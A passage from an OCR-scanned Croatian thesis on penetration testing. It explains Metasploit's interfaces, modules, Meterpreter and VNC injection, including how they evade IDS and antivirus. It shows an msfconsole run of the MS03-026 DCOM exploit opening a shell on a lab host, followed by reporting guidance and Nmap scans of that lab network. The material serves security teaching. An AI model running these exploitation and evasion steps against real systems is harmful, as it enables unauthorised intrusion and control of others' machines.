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Ovo otvara mogucnost koristenja standardnih alata koji se koriste kod penetracijskog
ispitivanja, a da se ne mora napustiti MSF. (Slika 5.3)

|

| Lo eE s | |

T L 7 L S I Y B B (0 I

T Y YO L S N O T Y O A\
|_|

=[ msf v3.1l-dev
+ -- --=[ 255 exploits - 116 payloads
+ -- --=[ 17 encoders - & nops

=[ 43 aux

msf >

Slika 5.3: Inicijalni ekran komandno-linijskog sucelja

Sucelje podrzava odredeni broj naredbi. Popis svih podrzanih naredbi unutar ovog
sucelja dobiva se izvodenjem naredbe help. (Slika 5.4)

nsf = help

Core Commands

Command Description
7 Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
load Load a framework plugin
loadpath Searches for and loads modules from a path
quit Exit the console
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a wariable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
unload Unload a framework plugin
unset Unsets one or more variables
unsetqg Unsets one or more global variables
use Selects a module by name
version Show the console library wersion number
nst = ||

Slika 5.4: Popis svih podrzanih naredbi

5.3.1.2 Web sucelje

Web sucelje je jedno od dva graficka sucelja raspoloziva u MSF-u. Web sucelje
koristi WEBrick Web posluZzitelj za obradu zahtjeva. Standardne postavke ovog
posluzitelja su da se pokrece lokalno i sluSa na portu 55555. Za spajanje na server
moze se koristiti bilo koji podrzani Web pretraziva¢ (Mozilla Firefox, Microsoft Internet
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Explorer ili Safari). Pristup ovom sucelju je jednostavan, a pristupa se tako da se u
pretrazivaC jednostavno unese URL http://127.0.0.1:55555, ako je posluzitelj
pokrenut sa standardnim postavkama. Ne osigurava nikakvu sigurnost, nema
autentifikacije korisnika koji se spajaju na pokrenuti posluzitelj. Na pokrenuti
posluzitelj moze se spojiti bilo tko i ako Zeli moze iskoristiti ovaj propust za
zlonamjerne radnje.

Nakon $to se pretraziva¢ spoji na posluZzitelj dobije se Web sucelje MSF-a unutar
samog pretrazivaca. Na vrhu se nalazi alatna traka koja sadrzava nekoliko ikona, te
je na sredini ekrana prikazan MSF logo. (Slika 5.5)

‘@ Exploits b Auxiliaties ' Payloads i Console . Sessions _/’J Options S About

MeGASP|0iG

Slika 5.5: Web sucelje

Ukoliko se iz ovog sucelja Zali pristupiti komandno-liniskom sucelju to je moguce
odabirom linka Console iz alatne trake. Ovo sucelje je skoro identicno pravom
komandno-linijskom sucelju, ima neke manje razlike. Odabirom nekog od linkova
Exploits, Auxiliaries i Payloads, na alatnoj traci, pokreCe se proces odabira,
konfiguracije i pokretanja odabranog modula. Nakon §to je exploit uspjeSno pokrenut
i izvr8en, te nakon §to je kreirana sjednica, sjednici se moZze pristupiti klikom na link
Sessions. Klikom na bilo koji od ovih linkova otvara se novi prozor unutar samog
prozora Web pretrazivaca. Taj prozor moguce je micati, povecavati i smanjivati, ali
samo u granicama pokrenutog Web pretrazivaca.

5.3.1.3 Graficko sucelje

Graficko sucelje je najnovije sucCelje MSF-a. Dolazi tek s verzijom 3.1 i pruza
mogucnosti koje ima i komandno-linijsko sucelje uz joS neke nove dodatke. (Slika
5.6)

Pristup komandno-linijskom sucelju moguc je odabirom Console iz izbornika Window.
Za pretrazivanje modula potrebno je u polje za pretrazivanje unijeti naziv modula ili
regularni izraz, te kliknuti na gumb Find. Zeljeni modul moze se odabrati dvostrukim
klikom miSa na naziv modula ili desnim klikom misa pa odabirom opcije Execute. Ako
se zeli vidjeti izvorni kod bilo kojeg modula potrebno je kliknuti desnim klikom miSa na
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Zeljeni modul, te odabrati opciju View Code. lzvorni kod modula otvara se u novom
zasebnom prozoru.

Nakon $to se odabere Zeljeni modul i pokrene pokreé¢e se Carobnjak koji korisnika
vodi kroz cijeli postupak, od postavljanja potrebnih parametara, do pokretanja i
izvrSavanja modula. Ukoliko se radilo o Exploit modulu sav ispis vezan uz izvodenje
exploita prikazuje se u kartici Module Output, na dnu ekrana. Ukoliko je exploit
uspjesno izveden, stvorena sjednica prikazuje se u pogledu Sessions u glavhom
prozoru. Za pristup sjednici dovoljno je napraviti dvostruki klik miSem na Zeljenu
sjednicu.

System  Window  Help

JobID 4 Module

[J 3obs

& GF Explaits  Allloaded exploit madules (262)

@ L Audliary Al loaded awdliary modules (46)

Moduls Infarmation |Moduls Gutput Sessions
4 Target Type

Welcome to the Metasploit Framework GUI!

This inkerFace can bs used in sither wizard-mode or console-mode. To start the wizard, browss ta a moduls in the
list above, and double-click its name. To wiew the source code of a module, right-dlick its name and select the Yiew
Cods option, If you prefer to work in a msfeonsols interface nstead, select the Console option From the Window
menu (or just press Contrab+O), Have fun!

Loaded 262 exploits, 117 payloads, 17 encoders, & nops, and 46 audiary

Slika 5.6: Glavni prozor grafickog sucelja

Ukoliko se kao payload koristio meterpreter desni klik na stvorenu sjednicu daje i
mogucnost listanja procesa odabirom opcije Process i pretrazivanja datoteka
odabirom opcije Browse. Ova mogucnost znatno olak§ava manipulaciju s pokrenutim
procesima i datotekama na udaljenom racunala.

5.3.1.4 Neinteraktivno komandno-linijsko sucelje

Ovo sucelje koristi se za automatizirano pokretanje exploita ili ukoliko se iz nekog
drugog razloga ne zeli koristiti interaktivno komandno-linijsko sucelje. Od verzije 3.1
ovo sucelje moze se Koristiti i za automatizirano pokretanje pomoc¢nih alata unutar
MSF-a.

Sucelje se pokreée tako da mu se kao prvi parametar predaje ime modula koji se
pokrece. Nakon toga slijede opcije modula oblika VAR=VAL (varijabla=vrijednost), te
na kraju kod akcije kako bi se specificiralo Sto se Zeli napraviti (npr. O za opcije, A za
napredne opcije, E za exploit, itd.).

5.3.2 Moduli

Svi moduli napisani su u programskom jeziku Ruby. MSF sadrZi nekoliko vrsta
modula, a to su:

32



e exploiti (engl. exploits),

e pomocni moduli (engl. auxiliaries),

e NOP generatori (engl. NOP generators) i
e koderi (engl. encoders). [6]

Exploiti su glavni fokus MSF-a. Exploiti se koriste kako bi se iskoristila ranjivost
unutar sustava da se na sustavu izvrSi Zeljeni kod ili da se provede neka korisna
akcija.

Pomoc¢ni moduli podrzavaju neke druge funkcionalnosti, kao $to su npr. skeniranje
portova, izvrSavanje napada uskracivanjem usluga (DoS), izvodenje fuzzing metode
otkrivanja sigurnosnih propusta i sl. Cilj u buducnosti je da se u MSF integriraju
pomocni moduli koji ¢e automatizirati cijeli proces penetracije u sustav, a isto tako
omoguciti automatsko generiranje dokumentacije. Ove funkcionalnosti moguce je
posti€i i vlastitim programiranjem takvih pomoc¢nih modula, te dodavanjem tih modula
u MSF.

NOP generatori koriste se kod izrade exploita. OlakSavaju kreiranje vlastitih exploita.
Koriste se za generiranje instrukcija bez operacije (engl. no-operation instructions)
koje se mogu koristiti za dopunjavanje spremnika, kod iskoriStavanja sigurnosnog
propusta (npr. preljev spremnika). Razli¢iti NOP generatori omogucuju maskiranje
NOP niza kako bi se izbjeglo detektiranje izvodenja exploita razliCitim IDS (Intrusion
Detection Systems) sustavima.

Koderi se koriste za kodiranje payloada, tj. za maskiranje payloada. RazliCiti IDS i
IPS (Intrusion Prevention Systems) sustavi identificiraju i filtriraju poznate payloade,
pa se koderi koriste kako bi se izbjegla detekcija od strane takvih sustava. S
maskiranjem payloada poveéava se moguénost uspjeSnog izvrSavanja exploita.

5.3.3 Payload

Payload je programski kod (shell programski kod, shellcode) koji se izvrSava nakon
Sto se pokrenuti exploit uspjesno izvrSi. Obi¢no ostvaruje komunikacijski kanal
izmedu MSF-a i kompromitiranog racunala. Ukoliko se exploit uspjesno izvrSi postoji
nekoliko moguénosti §to napravit na kompromitiranom racunalu. Moguce je dodati
korisnika, izvrsiti neku specificnu naredbu, dobiti konekciju na komandnu ljusku
kompromitiranog racunala i jo§ puno toga. Najzanimljivije moguénosti od svih su
meterpreter i injekcija VNC DLL servera kako bi se dobila potpuna kontrola nad
sustavom preko grafickog sucelja. [6]

5.3.3.1 Meterpreter

Meterpreter je napredni multifunkcionalni payload ali samo za Windows operacijske
sustave. Meterpreter je slican tehnikama koje se koriste u komercijalnim alatima za
preuzimanje kontrole nad procesom i iskoriStavanje njegovih privilegija. Moglo bi se
reCi da meterpreter nije samo payload, nego platforma za exploitanje pokrenuta na
udaljenom racunalu. [13]

Cesto je centar paznje penetracijskog ispitivanja na pronalasku sigurnosnih propusta
i iskoriStavanju nekog od njih, a manja vaznost se pridaje radnjama nakon uspjesSnog
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iskoriStavanja sigurnosnog propusta. Neki od glavnih izazova nakon uspjeSnog
izvodenja exploita su: [6]

e Nakon Sto se pokusa pokrenuti proces nakon uspjeSnog exploitanja
sigurnosnog propusta taj proces se prikazuje u listi procesa operacijskog
sustava. Npr. pokretanje komandne ljuske moZe alarmirati sustav kao $to je
HIDS (Host Intrusion Detection Systems).

e Pokretanje komandne ljuske moZe biti zabranjeno na operacijskom
sustavu. Isto tako, razliCite biblioteke i programi mogu biti uklonjeni s
racunala ili im izvodenje i pokretanje moze biti zabranjeno ili ograni¢eno. To
sve moze predstavljati problem kod exploitanja takvog sustava.

e Obicno prije nego Sto se pokrene exploit odabire se §to ¢e se dogoditi
nakon uspjesnog izvodenja exploita. Npr. potrebno je odluditi da li se Zeli
dobiti pristup komandnoj ljusci udaljenog ra€unala, izvesti neku specifi¢nu
naredbu na udaljenom racunalu, dodati novog korisnika i sl. U ovakvom
nacinu exploitanja sustava nema fleksibilnosti i penetracijski ispitivac€ je na
neki nacin ogranicen.

Meterpreter je dizajniran da prevlada ova spomenuta ograniCenja i pruzi API koji
omogucava penetracijskom ispitivaCu da isprogramira razliite radnje u fazi nakon
uspjesSnog exploitanja sustava. Meterpreter ima svoju vlastitu komandnu ljusku koja
je u biti napadacka platforma. Meterpreter ljuska ubacuje se u memoriju pokrenutog
ranjivog procesa i nikada ne ostavlja nikakvih tragova na disku exploitanog racunala.
Na taj nacCin izbjegava otkrivanje od razli€itih HIDS sustava i zaobilazi ogranicenja
sustava, te zaobilazi detektiranje od strane antivirusnih programa. Meterpreter ljuska
pruza APl s kojim je mogucée provesti razliCite akcije na samom sustavu, a da se
stanje sustava znacajno ne mijenja. Meterpreter ima veliki set ugradenih naredbi koje
omogucuju razliCite radnje i znacajno povecavaju fleksibilnost exploitanja sustava. S
ugradenim naredbama moguce je izvoditi proizvoljne naredbe na exploitanom
sustavu, prebacivati datoteke na i sa exploitanog raCunala, preusmjeravati portove
na exploitanom sustavu, pokretati i terminirati proizvoljne procese, lagano doéi u
posjed sistemskih korisnickih lozinki i jo§ puno toga.

Koristenjem komandno-linijskog sucelja nakon $to se uspje$no izvede exploit i
pokrene meterpreter dobije se meterpreter komandna ljuska koja je pokrenuta na
exploitanom raCunalu. Nakon toga dobivena je potpuna kontrola nad
kompromitiranim raCunalom. Za popis svih raspoloZzivih ugradenih naredbi potrebno
je pokrenuti naredbu help. [13]

Naredbe su podijeliene u nekoliko grupa. [6] Osnovna grupa naredbi (Core
Commands) pruza osnovnu funkcionalnost. Omogucuje pokretanje razli€itin
meterpreter skripti, dodavanje meterpreter dodataka, izlazak iz ljuske, ispis pomoci i

migriranje, meterpretera na neki drugi pokrenuti proces. (Slika 5.7)

Druga grupa su naredbe za rad s datoteka (File system Commands). Omogucuju
izlistavanje sadrzaja direktorija, prebacivanje datoteka sa i na exploitano racunalo,
editiranje datoteka, preimenovanje datoteka i sl. (Slika 5.8)

34



Core Commands

channel
close
exit
help
interact
irb
migrate
quit
read
run

use
write

Slika 5.7:

Description

Help menu

Displays information about active channels
Closes a channel

Terminate the meterpreter session

Help menu

Interacts with a channel

Drop into irb secripting mode

Migrate the server to another process
Terminate the meterpreter session

Reads data from a channel

Executes a meterpreter script

Load a one or more meterpreter extensions
Writes data to a channel

Osnovne Meterpreter naredbe

Stdapi: File system Commands

Command

cd
download
edit
getwd
lcd

1s

mkdir
pwd
rmdir
upload

Description

Read the contents of a file to the screen
Change directory

Download a file or directory
Edit a file

Print working directory
Change local directory

List files

Make directory

Print working directory
Remove directory

Upload a file or directory

Slika 5.8: Meterpreter naredbe za rad s datotekama

Tre¢a grupa naredbi su mrezn

e naredbe (Network Commands). Omogucuju ispis

svih raspolozivih mreznih sucCelja na kompromitiranom racunalu, usmjeravanje
lokalnih portova i prometa. (Slika 5.9)

Stdapi: Networki

ng Commands

Command
ipconfig
portfwd
route

Description

Display interfaces

Forward a local port to a remote service
View and modify the routing table

Slika 5.9: Meterpreter mrezne naredbe

Cetvrta grupa naredbi su sistemske naredbe (System Commands). Koriste se za

manipulaciju s
informacija, resetiranje i gasenje

Stdapi: System Com

execute
getpid
getuid
kill

ps
reboot
reg
reviself
shutdown
sysinfo

Slika 5.10:

procesima kompromitiranog

raCunala, dobivanje sistemskih
racunala, modificiranje registryai sl. (Slika 5.10)

mands

Execute a command

Get the current process identifier

Get the user that the server is running as

Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry

Calls RevertToSelf(] on the remote machine

shuts down the remote computer

Gets information about the remote system, such as 0S

Meterpreter sistemske naredbe
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Zadnja grupa naredbi su naredbe za manipulaciju s korisni¢kim suceljem (User
interface Commands). Omogucuju kontrolu perifernih uredaja (tipkovnice i misa), te
ispis vremena koliko je kompromitirani sustav neaktivan. (Slika 5.11)

Stdapi: User interface Commands

Command Description

idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components

Slika 5.11: Meterpreter naredbe za manipulaciju korisniCkim suceljem

5.3.3.2 VNC DLL injekcija

Koristi se za ubacivanje VNC DLL servera u memoriju pokrenutog procesa na
kompromitiranom rac¢unalu. VNC injekcija je prili€no korisna mogucénost. Omogucuje
pristup grafickom sucelju kompromitiranog racunala sa sistemskim privilegijama
koriste¢i neki od VNC klijenta. Pruza potpunu kontrolu nad grafickim suceljem.
Prilikom izvrSavanja pokre¢e i potpuno funkcionalnu komandnu ljusku
kompromitiranog racunala. Dobivena komandna ljuska omogucuje potpunu kontrolu
nad grafickim suceljem ako je ono i zakljuCano. Pomocu dobivene komandne ljuske
moguce je pokrenuti Explorer (utipkavanjem explorer.exe) za jednostavno
pretrazivanje sadrZaja na disku kompromitiranog racunala. Isto tako, iz komandne
ljuske moguce je dodati novog korisnika i dodijeliti mu prava lokalnog administratora
sustava, te se spojiti na kompromitirani sustav koristeéi podatke od tog novog
korisnika. [6]

5.3.4 Nacin koristenja MSF-a

Neovisno o sucelju koje se koristi, nacin koridtenja je viSe-manje isti. Nakon Sto se
pokrene zeljeno sucelje potrebno je odabrati modul koji se zeli koristiti. Nakon Sto se
odabere modul potrebno je postaviti odredene parametre da bi se modul mogao
pokrenuti. Nakon Sto su postavljeni svi potrebni parametri modul se izvrSava.
Rezultat izvrSavanja modula ovisi o zadanim parametrima i vrsti modula. [12]

Za prikaz koriStenja MSF-a koristi se komandno-linijsko sucelje.

5.3.4.1 Koristenje exploita

Nakon Sto je pokrenuto komandno-linijsko sucelje koristi se za pokretanje exploita
izvodecdi sljedecée korake:

e odabir exploita koji se Zeli koristiti

e odabir payloada koji se Zeli koristiti

e postavljanje parametara za exploit i payload
e pokretanje exploita

Izvodenjem naredbe show exploits dobiva se popis svih raspolozivih exploita
unutar MSF-a. (Slika 5.12)
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nsf = show exploits

Exploits
Name Description
bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow
hpux/1pd/cleanup_exec HP-UX LPD Command Execution
irix/lpd/tagprinter_exec Irix LPD tagprinter Command Execution
linux/games/ut2004_secure Unreal Tournament 2804 "secure® Overflow (Linux)
linux/http/peercast url PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)
linux/ids/snortbopre Snort Back Orifice Pre-Preprocessor Remote Exploit
Linux/madwifi/madwifi_giwscan_ch Madwifi SIOCGIWSCAN Buffer Overflow
linux/misc/ib_inet_connect Borland InterBase INET_connect() Buffer Overflow
Tlinux/misc/ib_jrds_create database Borland InterBase jrd8_create database() Buffer Overflow
Tinux/misc/ib_open_marker_file Borland InterBase open_marker_file() Buffer Overflow
Tinux/misc/ib_pwd_db_aliased Borland InterBase PWD_db_aliased() Buffer Overflow
linux/pptp/poptop_negative_read Poptop Megative Read Overflow
Tinux/proxyssquid_ntlm_authenticate Squid NTLM Authenticate Overflow

Slika 5.12: Ispis dijela raspolozivih exploita raspolozivih u MSF-u

Prikaz detaljnih informacija o zaljenom exploitu dobiva se izvodenjem naredbe info
<naziv exploita>. (Slika 5.13)

nsf = info windows/dcerpc/ms03_026 dcom

Name: Microsoft RPC DCOM Interface Owverflow
Version: 4498
Flatform:
Privileged: Yes
License: Metasploit Framework License

Provided by:
hdm <hdm@metasploit.com=
spoonm <spoonm@nchemail.com=
cazz <bmc@hmoo. com=
Available targets:
Id Name
0  Windows NT SP3-6a/2000/XP/2003 Universal

Basic options:
Mame  Current Setting Required Description

RHOST yes The target address
RPORT 135 yes The target port

Payload information:
Space: 880
Avoid: 7 characters

Description:
This module exploits a stack overflow in the RPCSS service, this
vulnerability was originally found by the Last Stage of Delirium
research group and has bee widely exploited ever since. This module

can exploit the English versions of Windows NT 4.0 SP3-6a, Windows
2000, Windows XP, and Windows 2003 all in one request :)

Slika 5.13: Prikaz detaljnih informacija o odabranom exploitu

Zeljeni exploit odabire se naredbom use <ime exploita>. Nakon $to se odabere
Zeljeni exploit potrebno je odabrati i payload. Prikaz svih raspolozivih payloada
dobiva se naredbom show payloads. Zeljeni payload odabire se naredbom set
PAYLOAD <ime payloada>. Nakon Sto se odabere exploit i payload potrebno je
postaviti potrebne parametre za izvodenje. Za prikaz raspolozivih opcija koristi se
naredba show options ili show advanced za prikaz naprednih opcija. Neke od
opcija koje je moguce postavljati su: (Slika 5.14)

e ciljana IP adresa (RHOST),
e ciljani port (RPORT),
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e meta napada, vrsta podrzanog operacijskog sustava Cija se ranjivost
iskoristava (TARGET),

e lokalna IP adresa (LHOST) i
e |okalni port (LPORT).

msf > use windows/dcerpc/ms03_026_dcom

msT exploit(ms@3_026 dcom) = set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp

msf exploit(mse3 026 dcom) = show options

Module options:
Mame Current Setting Reguired Description

RHOST yes The target address
RPORT 135 yes The target port

Payload options:

Mame Current Setting Required Description
EXITFUNC  thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

Exploit target:
Id Mame

8  Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(ms@3 026 dcom) = set RHOST 192.168.1.110
RHOST == 192.168.1.110

msf exploit{ms@3 026 dcom) > set TARGET O

TARGET == 0

msf exploit{ms@3_026_dcom) = ||

Slika 5.14: Proces odabira exploita i postavijanja svih potrebnih parametara

Nakon Sto su postavljeni svi potrebni parametri za pokretanje exploita, exploit se
pokrece naredbom exploit. (Slika 5.15)

msf exploitims@3_026 dcom) > exploit

[*] Started bind handler

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4abd-7dlc-11cf-861e-0020af6e7c57:0. 0@cacn_ip tcp:192. 168.1.110[135]
[*] Bound to 4d9fdab8-7dlc-1lcf-861le-0020af6e7c57:0. 0@ncacn_ip tcp:192.168.1.118[135]
[*] Sending exploit ...

[*] Sending stage (474 bytes)

[*] The DCERPC service did not reply to our request

[*] Command shell session 1 opened (192.1568.1.100:39570 -= 192.158.1.110:4444)

Microsoft Windows [Wersion 5.2.3790]
(C) Copyright 1985-20803 Microsoft Corp.
C:\WINDOWS\system32-f

Slika 5.15: Prikaz izvrSavanja pokrenutog exploita

38



5.3.4.2 Koristenje pomocnih modula

Pomoéni moduli koriste se na isti naCin kao i exploiti. Naredbe su iste. Prvo se
odabire Zeljeni modul, nakon toga postavljaju se Zeljeni parametri za izvodenje, te
nakon toga se pokrece odabrani modul. Odabrani pomo¢ni modul pokrecCe se
naredbom exploitili run. [6] (Slika 5.16)

msf > use scanner/http/version
msf auxiliary(wersion) = show options

Module options:

Name Current Setting Required Description

Proxies no Use a proxy chain

RHOSTS yes The target address range or CIDR identifier
RPORT g0 yes The target port

SsL false no Use S5L

THREADS 1 yes The number of concurrent threads

WHOST no HTTP server virtual host

mst auxiliary(version) > set RHOSTS 192.168.1.110

RHOSTS == 192,168.1.110

msf auxiliary(wersion] = run

[*] 192.168.1.116 is running Microsoft-IIS/6.0 ( Powered by ASP.NET )
[*] Auxiliary module execution completed

msf auxiliary({version) = |]

Slika 5.16: Prikaz rada pomo¢nog modula za odredivanje tocne verzije HTTP
posluZitelja
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6. Faza izvjeStavanja

Faza izvjeStavanja je zadnja faza penetracijskog ispitivanja. Ovu fazu moguce je
izvoditi paralelno s ostalim fazama penetracijskog ispitivanja ili se izvodi na kraju.
Mnogi penetracijski ispitivaci ne koncentriraju se dovoljno na ovu fazu, tj. zanemaruju
je na neki nacin, te na kraju predaju izvjeStaj koji nema zadovoljavaju¢u kvalitetu.
Moze se reCi da je ova faza najbitnija od svih ostalih faza. Na kraju krajeva
organizacija koja je narucCila penetracijsko ispitivanje svog sustava platila je ovaj
zavrdni dokument.

Dokument mora sadrzavati detaljne informacije o svim provedenim fazama
penetracijskog ispitivanja. Isto tako potrebno je provesti prezentaciju pronadenih
slabosti u sustavu, te njihov utjecaj na sustav organizacije. Na temelju tih informacija
providi se i procjena troSkova implementacije danih preporuka. Dokument mora biti
precizan i jasan. Jasna i precizna dokumentacija pokazatelj je uspjeSnog
penetracijskog ispitivaca.

Opcenito izvjeStaj se moze podijeliti na dva dijela:

e izvjeStaj za IT menadzment i

e tehnicki izvjestaj. [7]
IzvjeStaj za IT menadZment mora biti kratak i jasan, bez tehniCkih detalja. Mora
sadrzavati ukratko opisano provedeno penetracijsko ispitivanje, popis pronadenih

kritinih sigurnosnih propusta sortiranih po njihovoj kritiCnosti, te preporuke za
uklanjanje tih kritinih propusta.

U tehniCkom izvjeS¢u je detaljan prikaz provedenog penetracijskog ispitivanja, sa
svim tehniCkim detaljima. Mora sadrzavati sve provedene akcije tijekom izvodenja
penetracijskog ispitivanja. Isto tako mora sadrzavati popis svih pronadenih
sigurnosnih propusta, te preporuke za njihovo uklanjanje.

Stvari koje bi svaki izvjeStaj morao sadrzavati su:
e kratak pregled penetracijskog ispitivanja,
e detaljnu listu svih prikupljenih informacija tijekom penetracijskog ispitivanja,
e detaljnu listu svih pronadenih sigurnosnih propusta,
e opis svih pronadenih sigurnosnih propusta,
e procjenu utjecaja pronadenih propusta na organizaciju,
e preporuke za uklanjanje pronadenih propusta i smanjenje rizika i

e zakljucak. [7]
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7. Prakticni rad

Na slici 7.1 prikazana je raCunalna mreza nad kojom se vrSi penetracijsko ispitivanje
sigurnosti.

PosluZitelj 1 PosluZitelj 2

Lokalna mreza

Slika 7.1: Lokalna mreza koja se ispituje

Kako se radi o penetracijskom ispitivanju u kojem su poznati svi podaci o ovoj
lokalnoj mrezi preskace se prvi korak faze prikupljanja podataka (izvidanje sustava).

Ispitivanje se izvodi u tri glavna koraka. Prvi korak sastoji se od dva dijela. Prvi dio je
skeniranje mreze u potrazi za aktivnim ra¢unalima. Drugi dio je skeniranje portova
svakog raCunala kako bi se odredilo koji su servisi pokrenuti na racunalima i koji
operacijski sustav je instaliran na kojem raCunalu. Drugi korak je skeniranje raCunala
s Nessus alatom za pronalaZzenje poznatih ranjivosti. | tre¢i korak je iskoriStavanje
nekog od pronadenih propusta kako bi se pokazalo da su pronadeni propusti stvarna
prijetnja i da je drugi korak dao to¢ne i pouzdane rezultate. Za treci korak koristi se
MSF.

7.1 Skeniranje sustava

Racunalo s kojeg se provodi penetracijsko ispitivanje nalazi se u lokalnoj mrezi.
Raspon IP adresa koje se skeniraju je od 192.168.1.1 do 192.168.1.254. Za
skeniranje mreze koristi se port skener Nmap. Pomo¢u Nmapa provodi se skeniranje
portova i servisa na raCunalima, te detektiranje operacijskog sustava.

7.1.1 Otkrivanje aktivnih raunala na mrezi

Za otkrivanje aktivnih raCunala koristi se Nmap s argumentom —sP. Provodi se
obi¢no ping skeniranje zadanog raspona IP adresa u potrazi za aktivnim racunalima
na mrezi. (Slika 7.2)
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bt nmap -sP 192.168.1.1-254

Starting Nmap 4.20 ( http://insecure.org ) at Z008-05-27 20:12 GMT
Host 192.168.1.1 appears to be up.

MAC Address: 00:18:F8:40:AB:7E (Cisco-Linksys)

Host 192.168.1.21 appears to be up.

MAC Address: 00:0C:29:08:03:03 (VMware)

Host 192.168.1.23 appears to be up.

MAC Address: 00:0C:29:09:AC:17 (VMware)

Host 192.168.1.102 appears to be up.

Host 192.168.1.110 appears to be up.

MAC Address: 00:0C:29:10:CB:@4 (VMware)

Host 192.168.1.111 appears to be up.

MAC Address: D0:0C:29:02:95:8F (VMware)

Host 192.168.1.254 appears to be up.

MAC Address: 00:14:7F:73:A2:C1 (Thomson Telecom Belgium)

Nmap finished: 254 IP addresses (7 hosts up) scanned in 43.484 seconds
bt

Slika 7.2: Otkrivena aktivna racunala na lokalnoj mreZi

Po rezultatima se vidi da je pronadeno 7 aktivnih raunala ma mrezi. U ispisu se vide
IP adrese i MAC adrese pronadenih ra¢unala. Informacije dobivene u ovom koraku
koriste se u sljede¢em koraku kako bi se detektirali servisi pokrenuti na raCunalima.
Racunalo s IP adresom 192.168.1.102 je raCunalo s kojeg se izvodi penetracijsko
ispitivanje, pa se ono iskljuCuje iz ispitivanja u sljede¢im koracima.

7.1.2 Otkrivanje pokrenutih servisa i detektiranje operacijskog sustava

U ovom koraku izvodi se skeniranje portova pronadenih racunala. Potrebno je
odrediti koji portovi su otvoreni, koji servis je pokrenut na kojem portu, te instalirani
operacijski sustav.

Nmap se pokreée s argumentima —sS i —sV. Koristi se SYN SCAN metoda
skeniranja i pokuSava se odrediti toCna verzija pokrenutog servisa na pronadenom
otvorenom portu.

Na slici 7.3 prikazan je rezultat skeniranja racunala s IP adresom 192.168.1.1. Jedini
otvoreni port je port 80. Na tom portu pokrenuta je neka vrsta Web posluzitelja (Intoto
httpd 1.0). Vidi se da je proizvodaC ovog uredaja Cisco-Linksys. Po proizvodacu, u
ovom slucaju, moze se pretpostaviti da se radi o jednom od dva usmijerivaca koja se
nalaze na mrezi. Pokrenuti Web posluZzitelj sluzi za Web konfiguraciju usmjerivaca.

bt nmap -sV -s5 192.168.1.1

Starting Nmap 4.20 ( http://insecure.org ) at 2008-85-27 19:23 GMT
Interesting ports on 192.168.1.1:

Not shown: 1693 filtered ports

PORT  STATE SERVICE VERSION

20/tcp closed ftp-data

21/tcp closed ftp

23/tcp closed telnet

BO/tcp open  http Intoto httpd 1.0

MAC Address: ©0:18:F8:40:AB:7E (Cisco-Linksys)

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submits .
Nmap finished: 1 IP address (1 host up) scanned in 40.350 seconds
bt [ ]

Slika 7.3: Rezultat skeniranja IP adrese 192.168.1.1
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Rezultat skeniranja raCunala s IP adresama 192.168.1.21 i 192.168.1.23 je isti.
Skeniranjem je utvrdeno da su otvoreni portovi 135, 139, 445 Sto je standardno za
operacijski sustav Windows. |z rezultata skeniranja vidi se da se radi o operacijskom
sustavu Windows XP. (Slika 7.4 i Slika 7.5)

bt nmap -s5 -sV 192.168.1.21

Starting Nmap 4.20 ( http://insecure.org ) at 2008-05-27 20:16 GMT
Interesting ports on 192.168.1.21:

Not shown: 1694 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

MAC Address: 00:0C:29:0B:03:D3 (VMware)

Service Info: 05: Windows

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 20.559 seconds

bt [ |

Slika 7.4: Rezultat skeniranja IP adrese 192.168.1.21

bt nmap -sS -sV 192.168.1.23

Starting Nmap 4.20 ( http://insecure.org ) at 2008-05-27 20:18 GMT
Interesting ports on 192.168.1.23:

Not shown: 1694 closed ports

PORT STATE SERVICE VERSION

135/tcp open  msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

MAC Address: 00:0C:29:09:AC:17 (VMware)

Service Info: 0S: Windows

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submity .
Nmap finished: 1 IP address (1 host up) scanned in 20.507 seconds
bt |

Slika 7.5: Rezultat skeniranja IP adrese 192.168.1.23

Na slici 7.6 prikazan je rezultat skeniranja racunala s IP adresom 192.168.1.110. Na
ovom racunalu otvoren je velik broj portova. Otvoreni su portovi 80,135, 139, 445,

Na portu 80 pokrenut je Microsoft IIS 6.0 Web posluZitelj. Prema tome ovo ra¢unalo
je jedno od dva posluZitelja koja se nalaze na mrezi. Prema rezultatima skeniranja
moze se zakljuciti da se radi o operacijskom sustavu Windows 2003 Server.

bt nmap -s5 -sV 192.168&.1.110

Starting Nmap 4.20 ( http://insecure.org ) at 2008-©5-27 20:19 GMT
Interesting ports on 192.168.1.110:

Not shown: 1688 closed ports

PORT STATE SERVICE VERSION

80/tcp  open http Microsoft IIS webserver 6.0

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 2003 microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC

2500/tcp open http Microsoft IIS webserver 6.0
3389/tcp open ms-term-serv?

MAC Address: ©0:0C:29:10:CB:®4 (VMware)

Service Info: 0S: Windows

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/
Nmap finished: 1 IP address (1 host up) scanned in 57.728 seconds
bt

Slika 7.6: Rezultat skeniranja IP adrese 192.168.1.110
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Na slici 7.7 prikazan je rezultat skeniranja racunala s IP adresom 192.168.1.111. |
